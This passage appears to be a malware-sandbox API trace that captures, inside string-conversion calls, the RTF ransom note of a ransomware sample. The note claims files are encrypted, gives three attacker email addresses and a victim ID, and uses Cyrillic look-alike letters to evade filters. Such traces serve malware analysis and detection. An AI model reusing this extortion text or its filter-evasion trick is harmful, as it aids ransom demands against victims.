m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 